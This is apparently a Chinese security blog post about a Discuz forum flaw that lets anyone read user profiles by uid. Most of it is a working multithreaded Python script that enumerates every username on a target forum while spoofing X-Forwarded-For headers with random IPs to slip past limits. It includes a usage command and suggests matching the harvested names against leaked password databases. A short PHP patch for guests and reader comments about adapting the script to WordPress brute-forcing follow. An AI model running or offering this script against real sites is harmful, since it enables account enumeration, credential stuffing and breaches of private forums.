Discuz the user traversal Poc


看到网上某篇文章,突然想起自己还有几篇没有发到博客上,于是发一下。

0x01 从discuz能遍历用户资料的问题谈起

我们随便点进一个discuz论坛,在地址后面加?1,有的论坛就会显示uid=1的用户资料页(或是家园空间首页,取决于这个论坛有没有开通家园):
 01.jpg
不过有些论坛(比如法客)没有这个的,可能是哪里修改了。
不过我们访问 home.php?mod=space&uid=3550&do=profile 还是能看到 uid = 3550的用户资料的:
02.jpg
而且,这个地址是没有登录限制的,也就是说未登录的用户也能看这个资料页面。而且好像后台是不能增加这个限制的,必须要改代码。
这对于一些私密性比较高的论坛就构成了很大的威胁,这个问题就类似于wordpress的用户名遍历问题一样,获得了你的用户名,就能爆破你的密码了。
于是,我们设想,从uid=1到uid=XXX,写个脚本遍历一下,就能够获得这个论坛所有注册用户的用户名。不管你是不是这个论坛的用户。

0x02 python脚本的编写
我之前写了一个单线程的,但速度实在不敢恭维,所以后来改成多线程。多线程速度确实快了许多,但涉及到线程同步的问题又让我困惑了好久,最后加了一些线程锁,还有生成随机IP的代码,速度减低了一些但代码能稳定地运行了。
#!/usr/bin/python
# -*- coding: utf-8 -*-
'''
to get all user on discuz
get username from http://localhost/home.php?mod=space&uid=1&do=profile
'''
__author__ = 'Phtih0n'
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 '
                        '(KHTML, like Gecko) Chrome/29.0.1547.66 Safari/537.36 LBBROWSER'}
import threading, random

now = 1
time = 0
lock = threading.Lock()

class ScanThread(threading.Thread):
    def __init__(self, url, end_times, fout):
        threading.Thread.__init__(self)
        if url[0:7] != "http://":
            self.url = "http://%s" % url
        else:
            self.url = url
        self.end_times = end_times
        self.fout = fout

    def run(self):
        self.scan_username()

    def makeIp(self):
        return "%d.%d.%d.%d" % (random.randint(11, 190), random.randint(11, 190), random.randint(11, 190), random.randint(11, 190))

    def scan_username(self):
        import requests, re, sys
        global now, time, lock, header
        rex = re.compile(ur'''<title>(.+)的个人资料.+</title>''')
        while lock.acquire() and time < self.end_times:
            now_id = now
            now += 1
            header["X-FORWARDED-FOR"] = self.makeIp()
            lock.release()
            get = "%s/home.php?mod=space&uid=%d&do=profile" % (self.url, now_id)
            try:
                response = requests.get(get, headers = header)
            except:
                print u"在Id = %d 处中断" % now_id
                continue
            if response.status_code == 404:
                print u"地址似乎不能破"
                return
            html = response.text
            ret = rex.search(html)
            if lock.acquire():
                if ret:
                    name = ret.group(1).encode("utf-8")
                    self.fout.write("id: %d username: %s\n" % (now_id, name))
                    time = 0
                    sys.stdout.write("%d%s" % (now_id, "\b" * 5))
                    sys.stdout.flush()
                else:
                    time += 1
                lock.release()
        lock.release()

if __name__ == "__main__":
    import optparse
    parser = optparse.OptionParser()

    parser.add_option(
        '-u','--scan-url',
        dest = 'url',
        help = u'等待扫号的论坛地址')
    parser.add_option(
        '-t','--end-times',
        type = 'int',dest = 'end_times',default = 100,
        help = u'发现有多少个账号不存在时停止扫描')
    parser.add_option(
        '-o','--output-file',
        dest = 'file',
        help = u'扫描结果输出文件')
    options, args = parser.parse_args()
    fout = open(options.file, "w")
    ThreadList = []
    for i in range(0, 20):
        t = ScanThread(options.url, options.end_times, fout)
        ThreadList.append(t)
    for t in ThreadList:
        t.start()
    for t in ThreadList:
        t.join()
大概过程是先创建20个线程并进入线程函数,线程函数里开始遍历uid。使用requests模块get到用户资料页的html,并正则匹配出用户名(从<title>里匹配),有uid不存在时就会有“用户不存在”的提示,这时候就将一个计数变量time自增1。当所有用户遍历完了以后,我们的脚本不知道,仍然在访问不存在的uid,但每访问一个time都会自增1,直到time超过预先定义的一个“end_times”值(默认100)。线程退出。
退出的时候一定要记得释放线程锁,否则就造成其后的线程得不到lock,导致程序一直阻塞。我之前就是因为这个原因困惑了好久。
程序的用法:

首先安装python的requests库。我习惯用这个库写网络程序……改不了了。这个库也很方便,推荐大家使用。

安装方法:
pip install requests

easy_install requests
windows下直接下载:http://www.python-requests.org/en/latest/user/install/#install
解压后进入目录
python setup.py install
安装


03.jpg

要遍历一个论坛账号,就是这样了:

discuz.py -u http://bbs.target.com -o target.txt -t 100

剩下的任务就是等待。
04.jpg

结果:
06.jpg
获得了这些用户名,就能批量在你的“社工库”里碰撞密码了。进行进一步的信息搜集。
对于那种私密性的论坛,一旦有一个账号泄露,私密性就彻底消失。

0x03 问题解决方案
这个问题说好也好解决,说难也难解决。
我这个解决方案只是对于未注册的用户,不能查看其他用户用户名,但对于注册的用户来说,查看其他人用户名就太简单了。
来到discuz根目录下的\source\include\space\space_profile.php
if(!defined('IN_DISCUZ')) {
        exit('Access Denied');
}

require_once libfile('function/spacecp');

space_merge($space, 'count');
space_merge($space, 'field_home');
space_merge($space, 'field_forum');
space_merge($space, 'profile');
space_merge($space, 'status');
getonlinemember(array($space['uid']));

###########################################
if($_G['uid'] > 0) {} //in_array($_G['groupid'], array(1))
else {
showmessage('对不起,您无权进行此操作');
}
###########################################

if($space['videophoto'] && ckvideophoto($space, 1)) {
        $space['videophoto'] = getvideophoto($space['videophoto']);
} else {
        $space['videophoto'] = '';
}


以后当未登录的用户再访问/?1或home.php?mod=space&uid=1&do=profile时就会提示“对不起,您无权进行此操作”
05.jpg

0x04 后话
wordpress也能这么遍历出所有用户名,这个总所周知了,把我的脚本改一改就能打wordpress了。


赞赏

喜欢这篇文章?打赏1元

评论

shuta 回复

我也用了这个脚本线程部分的处理。但是去掉了你的随机ip这一环。用20个线程跑1000多个数据,跑到300多个数据时,发送的HTTP请求就会中断,这是为什么?

Str0ng 回复

马克,这个好晚上回家就改成wp的 爆起来

captcha